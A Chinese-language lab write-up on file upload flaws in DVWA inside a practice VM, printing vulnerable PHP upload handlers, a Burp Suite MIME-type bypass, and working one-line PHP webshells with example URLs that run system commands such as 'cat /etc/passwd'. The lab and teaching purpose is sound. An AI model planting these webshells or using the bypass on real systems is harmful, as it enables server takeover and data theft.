文件上传漏洞
项目实验环境
OWASP Broken Web Apps VM v1.2 靶场
burpsuite 代理服务器
Kali-Linux-2020.1-vmware-amd64 攻击机
实验一(低安全级别)
思路: 可以上传任意文件,没有做任何的检测,如果上传的是恶意的木马,就可以连接服务器,爆破,获取webshell
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename( $_FILES['uploaded']['name']);
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
?>
通过代码也可以发现,只要存在上传的文件对象就允许上传,并没有限制是否为图片文件
实验二(中安全级别)
思路: 限制上传的文件必须是是图片类型,且限定了大小,图片类型的限制用http中的请求类型,即MIME类型对请求头进行限制,此实验限制为图像类型
什么是MIME?
MIME (Multipurpose Internet Mail Extensions)(多功能网际邮件扩充协议) 是描述消息内容类型的因特网标准,在HTTP中,MIME类型被定义在Content-TypeHeader中,每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。
常见的MIME类型(通用型):
超文本标记语言文本 .html text/html
xml文档 .xml text/xml
XHTML文档 xhtml application/xhtml+xml
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
PDF文档 .pdf application/pdf
Microsoft Word文件 .doc application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
au声音文件 .au audio/basic
MIDI音乐文件 .mid,.midi audio/midi,audio/x-midi
RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
MPEG文件 .mpg,.mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar
任意的二进制数据 application/octet-stream
比如,打开淘宝网,可以看到高亮栏的content-type为imag/png
分析:
那么,可以通过更改请求头的这个信息,使其为网页需要的图片的MIME类型即可
此时,使用burpsuite进行代理
思路:
步骤:
1.在Kali上打开burpsuite,代理的功能打开,并设置为所有的接口
2.将物理主机的代理功能打开,指向Kali
3.打开浏览器访问文件上传的网页,选择一个文本文件,点击上传 ,此时kali就截到了 这个HTTP的请求信息
4.更改content-type为image/jpeg
可见,不是图片的文件就被上传了,这样就可以上传一个恶意的一句话木马,使用中国菜刀的软件就可以进行连接,进行爬取数据,下面会做解释
查看后台的php代码,限制的就是MIME类型,通过修改请求头中的这个类型,就可以蒙混过关
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>
实验三(高安全级别)
网站设计: 限制上传文件的扩展名,必须是jpg、JPG、jpeg、JPEG 与图片的大小,这时,修改MIME类型是没有用的,因为网页的后端PHP语言限制的是文件的后缀名,如果直接更改文件的后缀名,会导致木马程序失效(即不能使用)
查看后台的php代码
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_LES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
}
}
?>
webshell
小马:一句话木马也称小马,即整个shell代码只有一行,一般是系统执行函数
大马:代码里和功能都比小马多,一般会进行二进制编码加密码,防止被安全防火墙/入侵系统检测到
yichen.php
<?php eval($_REQUEST['eichi']);?> 需要网页的输入式请求,单引号中写的是请求的实,理解成变量名即可
root@owaspbwa:/var/www/dvwa/hackable/uploads# cat yichen.php
<?php eval($_REQUEST['eichi']);?>
http://192.168.211.143/dvwa/hackable/uploads/yichen.php?eichi=phpinfo();
yichen1.php #eval
<?php system($_REQUEST['eichi']);?> 调用系统的函数
root@owaspbwa:/var/www/dvwa/hackable/uploads# cat yichen1.php
<?php system($_REQUEST['eichi']);?>
http://192.168.211.143/dvwa/hackable/uploads/yichen1.php?eichi=cat /etc/passwd
可怕吗 ?如果你觉得还行,那就请继续看下去,还有更恐怖的~
使用页面文件上传页面,上传一个这样的php代码
<?php @eval($_POST['yichen']);?> 方括号内的是密码
root@owaspbwa:/var/www/dvwa/hackable/uploads# cat shell.php
<?php @eval($_POST['yichen']);?>
说明:request是在网页端输入变量访问,POST是使用类似中国菜刀的工具进行连接,是C/S架构
http://192.168.211.143/dvwa/hackable/uploads/shell.php
网页访问,并没有什么内容,但是使用中国菜刀连接,就可以对这个网站进行爬取,获取任意你需要的内容与数据
总结:
1.实验1没有任何要求,不做赘述
2.实验2限制了上传文件的HTTP中MIME类型,根据使用代理服务器来更改请求头中的MIME类型为图片类型
3.实验3限制了上传文件的后缀名,那就上传一个图片木马,对于高安全级别的图片木马注入,请点击这里文件包含漏洞 低、中 、高三级别详解(一句话木马,图片木马)
解决:
使用过滤功能来查看恶意的木马程序,使用防火墙,waf等工具
root@owaspbwa:~# fgrep -R 'eval($_POST[' /var/www/dvwa
/var/www/dvwa/hackable/uploads/shell.php:<?php @eval($_POST['yichen']);?>
/var/www/dvwa/vulnerabilities/fi/shell20.php:<?php eval($_POST[123]);?>
/var/www/dvwa/vulnerabilities/fi/shell999.php:<?php eval($_POST[123]);?>
CC攻击与DDOS工具
CC是应用程序瘫痪,比如发送验证码的网页瘫痪;DDOS网络发起攻击,增大网络的负载